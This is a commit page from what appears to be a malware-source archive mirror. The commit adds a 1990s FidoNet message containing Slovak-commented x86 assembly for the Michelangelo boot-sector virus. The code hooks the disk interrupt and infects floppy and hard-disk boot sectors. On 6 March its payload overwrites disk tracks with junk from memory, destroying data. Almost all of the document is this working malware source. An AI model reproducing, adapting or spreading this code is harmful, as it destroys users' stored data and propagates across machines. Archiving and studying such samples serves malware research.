mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,251 @@
|
||||
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
|
||||
; Msg : 33 of 54
|
||||
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14
|
||||
; To : - *.* - Fri 11 Nov 94 08:10
|
||||
; Subj : MICHANGL.A1
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;.RealName: Max Ivanov
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
;* Kicked-up by MeteO (2:5030/136)
|
||||
;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
|
||||
;* From : Ron Toler, 2:283/718 (06 Nov 94 16:58)
|
||||
;* To : Mike Salvino
|
||||
;* Subj : MICHANGL.A1
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
;@RFC-Path:
|
||||
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
||||
;18.n283!not-for-mail
|
||||
;@RFC-Return-Receipt-To: Ron.Toler@f718.n283.z2.fidonet.org
|
||||
obsluha 13h: push ds
|
||||
push ax
|
||||
or dl,dl ; drive a: ?
|
||||
jnz loc_1 ; ak nie, stara obsluha
|
||||
xor ax,ax ; ak ano, pozri ci motor bezi
|
||||
mov ds,ax ; (ked bezi, tak by odbiehanie
|
||||
; na boot sektor bolo napadne
|
||||
; - hrcal by disk, pri zapnuti
|
||||
; sa to strati)
|
||||
test byte ptr ds:[43Fh],1 ; (0000:043F=10h)
|
||||
jnz loc_1 ; ak bezi, tak stara obsluha
|
||||
pop ax ; ak nebezi, tak stara obsluha
|
||||
pop ds
|
||||
pushf
|
||||
call dword ptr cs:[0Ah]
|
||||
pushf ; Push flags
|
||||
call sub_1 ; rozmnoz sa na a:
|
||||
popf ; Pop flags
|
||||
retf 2 ; vrat sa z int s tymito flagmi
|
||||
loc_1:
|
||||
pop ax
|
||||
pop ds
|
||||
jmp dword ptr cs:[0Ah] ; stara obsluha
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; MNOZENIE SA
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
push ax ; SCHOVAJ REGS
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov si,4
|
||||
loc_2:
|
||||
mov ax,201h ; 1 sektor citaj
|
||||
mov bx,200h ; za seba (si 512 b. dlhy)
|
||||
mov cx,1 ; boot sektor (1. na 0. stope)
|
||||
xor dx,dx ; disk a:
|
||||
pushf
|
||||
call dword ptr ds:[0Ah] ; stara obsluha
|
||||
jnc loc_3 ; error ?
|
||||
xor ax,ax ; error - disk reset
|
||||
pushf ;
|
||||
call dword ptr ds:[0Ah] ; (6C20:000A=0AF1Ah)
|
||||
dec si
|
||||
jnz loc_2 ; skus to 4 x
|
||||
jmp short loc_6 ; a ked nic, vykasli sa na to
|
||||
loc_3:
|
||||
xor si,si ; vsetko ok, pokracujeme
|
||||
cld
|
||||
lodsw ; porovnaj prve 4 byte z bootu
|
||||
cmp ax,[bx] ; so sebou, aby si zistil, ci
|
||||
jne loc_4 ; uz si tam - nakazeny disk
|
||||
lodsw
|
||||
cmp ax,[bx+2]
|
||||
je loc_6 ; ak si tam, netrba infikovat
|
||||
; "AIDS staci dostat raz."
|
||||
loc_4:
|
||||
mov ax,301h ; avsak ak tam nie si, tak
|
||||
mov dh,1 ; ten disk nakaz
|
||||
mov cl,3 ; nastav znacku, kam odlozit
|
||||
cmp byte ptr [bx+15h],0FDh ; povodny boot
|
||||
je loc_5 ; (do ktoreho sektora)
|
||||
mov cl,0Eh ; podla typu diskety
|
||||
loc_5: ; (0e - HD, 3 - DD, 7 - hard)
|
||||
mov word ptr ds:[8],cx ; uloz znacku
|
||||
pushf ; a zapis povodny boot
|
||||
call dword ptr ds:[0Ah]
|
||||
jc loc_6 ; error - neda sa - vyskoc von
|
||||
mov si,3BEh ; dopis originalnu partition
|
||||
mov di,1BEh ; na svoj koniec
|
||||
mov cx,21h
|
||||
cld
|
||||
rep movsw
|
||||
mov ax,301h ; a zapis sa do bootu
|
||||
xor bx,bx
|
||||
mov cx,1
|
||||
xor dx,dx
|
||||
pushf ; cez staru int 13h
|
||||
call dword ptr ds:[0Ah]
|
||||
loc_6:
|
||||
pop di ; hotovo - koniec
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
START VIRUSU xor ax,ax
|
||||
mov ds,ax ; DS NA NULU
|
||||
cli ; Disable interrupts
|
||||
mov ss,ax ; stack pod seba
|
||||
mov ax,7C00h ; tu si - natiahol si sa
|
||||
mov sp,ax ; z bootu - sp pod seba
|
||||
sti ; Enable interrupts
|
||||
push ds ; schovaj ds,ax
|
||||
push ax
|
||||
mov ax,word ptr ds:[4Ch] ; odloz si staru obsluhu int13h
|
||||
mov word ptr ds:[7C0Ah],ax
|
||||
mov ax,word ptr ds:[4Eh]
|
||||
mov word ptr ds:[7C0Ch],ax
|
||||
mov ax,word ptr ds:[413h] ; top of memory zmensi o 2K
|
||||
dec ax
|
||||
dec ax
|
||||
mov word ptr ds:[413h],ax
|
||||
mov cl,6 ; prepocitaj na paragr. adr.
|
||||
shl ax,cl
|
||||
mov es,ax ; nastav es
|
||||
mov word ptr ds:[7C05h],ax ; a odloz si ju sem
|
||||
mov ax,0Eh ; toto je offset noveho int13h
|
||||
mov word ptr ds:[4Ch],ax ; nastav ten novy int
|
||||
mov word ptr ds:[4Eh],es
|
||||
mov cx,1BEh ; skopiruj sa do vyhr. 2K pam.
|
||||
mov si,7C00h
|
||||
xor di,di
|
||||
cld
|
||||
rep movsb
|
||||
jmp dword ptr cs:[7C03h] ; a skoc na seba po skopirovani
|
||||
xor ax,ax ; sem skocis
|
||||
mov es,ax ; 0 do es
|
||||
int 13h ; reset disk a:
|
||||
push cs ; cs do ds
|
||||
pop ds
|
||||
mov ax,201h ; precitaj boot
|
||||
mov bx,7C00h ; do 7c00
|
||||
mov cx,word ptr ds:[8] ; pozri si znacku, kde mas ulo-
|
||||
; zeny povodny boot
|
||||
cmp cx,7 ; ak je to 7 - tak si na harde
|
||||
jne loc_7 ; inak si na diskete
|
||||
mov dx,80h ; na harde - c:
|
||||
int 13h ; precitaj originalny boot
|
||||
jmp short loc_8 ; a pokracuj
|
||||
loc_7:
|
||||
mov cx,word ptr ds:[8] ; precitaj si kde mas boot
|
||||
mov dx,100h ; z diskety
|
||||
int 13h
|
||||
jc loc_8 ; error - nejde to - skonci
|
||||
push cs ; ak to ide cs do es
|
||||
pop es
|
||||
mov ax,201h ; a precitaj si este boot
|
||||
mov bx,200h ; za seba
|
||||
mov cx,1
|
||||
mov dx,80h ; ale z hardu
|
||||
int 13h
|
||||
jc loc_8 ; chyba - von
|
||||
xor si,si ; porovnaj sa s bootom
|
||||
cld ; ci je harddisk nakazeny
|
||||
lodsw
|
||||
cmp ax,[bx]
|
||||
jne loc_13
|
||||
lodsw
|
||||
cmp ax,[bx+2]
|
||||
jne loc_13 ; ak nie je nakazeny - nakaz
|
||||
loc_8:
|
||||
xor cx,cx ; 0 do cx
|
||||
mov ah,4
|
||||
int 1Ah ; pozri si datum
|
||||
; ci je 6. 3.
|
||||
cmp dx,306h
|
||||
je loc_9 ; ak je 6.3. - akcia
|
||||
retf ; ak nie - von
|
||||
loc_9:
|
||||
xor dx,dx ; TOT' UCINOK VIRUSU
|
||||
mov cx,1 ; zacni na 0. stope a 1. sktr
|
||||
loc_10:
|
||||
mov ax,309h ; zapis 9 sektorov
|
||||
mov si,word ptr ds:[8] ; pozri typ disku
|
||||
cmp si,3 ; disketa -> rovno zapis
|
||||
je loc_11
|
||||
mov al,0Eh ; HD disketa -> 14 sektorov
|
||||
cmp si,0Eh
|
||||
je loc_11 ; a rovno zapis
|
||||
mov dl,80h ; nie disketa - hard
|
||||
mov byte ptr ds:[7],4 ; tak nie 2, ale 4 hlavy
|
||||
mov al,11h ; a 17 sektorov/ track
|
||||
loc_11:
|
||||
mov bx,5000h ; zober hocico z pamati
|
||||
mov es,bx
|
||||
int 13h ; a zapis na disk
|
||||
jnc loc_12 ; nie je chyba - pokracuj
|
||||
xor ah,ah ; chyba - reset disk
|
||||
int 13h
|
||||
loc_12:
|
||||
inc dh ; dalsia hlava ?
|
||||
cmp dh,byte ptr ds:[7] ; max. headroom
|
||||
jb loc_10 ; este nie - pokracuj
|
||||
xor dh,dh ; ano - opat hlava 0
|
||||
inc ch ; dalsi track
|
||||
jmp short loc_10 ; a znova
|
||||
loc_13:
|
||||
mov cx,7 ; NAKAZENIE HARDU
|
||||
mov word ptr ds:[8],cx ; sem uloz povodny boot
|
||||
mov ax,301h
|
||||
mov dx,80h
|
||||
int 13h
|
||||
jc loc_8 ; error - out
|
||||
mov si,3BEh ; no error - dopis partition
|
||||
mov di,1BEh
|
||||
mov cx,21h
|
||||
rep movsw
|
||||
mov ax,301h ; a zapis sa do bootu
|
||||
xor bx,bx
|
||||
inc cl
|
||||
int 13h
|
||||
jmp short loc_8 ; a chod von
|
||||
|
||||
-+- DinoMail v.1.0 Alpha
|
||||
+ Origin: I just hate people who create virusses... (2:283/718)
|
||||
=============================================================================
|
||||
|
||||
Yoo-hooo-oo, -!
|
||||
|
||||
|
||||
þ The MeÂeO
|
||||
|
||||
/Txx Specify output file type
|
||||
|
||||
--- Aidstest Null: /Kill
|
||||
* Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
|
||||
|
||||
Reference in New Issue
Block a user